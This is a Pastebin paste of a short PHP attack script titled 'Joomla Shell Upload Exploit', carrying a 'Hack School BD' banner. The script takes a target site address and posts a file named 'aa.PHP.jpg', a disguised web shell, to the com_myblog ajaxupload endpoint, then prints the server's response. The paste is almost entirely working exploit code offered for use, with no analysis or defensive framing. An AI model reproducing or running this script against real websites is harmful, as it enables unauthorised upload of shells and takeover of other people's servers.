Advertisement
cyberworm

Joomla Shell Upload Exploit

Aug 28th, 2015
545
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.85 KB | None | 0 0
  1. <?php
  2.  
  3. print "
  4.        [+][+][+][+][+][+][+][+][+][+][+][+][+]
  5.        [+]                                 [+]
  6.        [+]   *** Hack School BD ***        [+]
  7.        [+]      Exploit Joomla Upload      [+]
  8.        [+]    FB:fb.me/bb.benjamin101      [+]
  9.        [+]                                 [+]
  10.        [+][+][+][+][+][+][+][+][+][+][+][+][+]
  11.  ";
  12.     $ur = isset($argv[1]) && strstr($argv[1], 'http') ? $argv[1] : "http://{$argv[1]}";
  13.     $argv[1] = $ur;
  14.  
  15.     $uploadfile="aa.PHP.jpg";    
  16.        
  17.     $ch = curl_init("$argv[1]/index.php?option=com_myblog&task=ajaxupload");
  18.     curl_setopt($ch, CURLOPT_POST, true);
  19.     curl_setopt($ch, CURLOPT_POSTFIELDS,
  20.     array('fileToUpload'=>"@$uploadfile"));
  21.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  22.     $postResult = curl_exec($ch);
  23.     curl_close($ch);
  24.     print "$postResult";
  25.  
  26. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement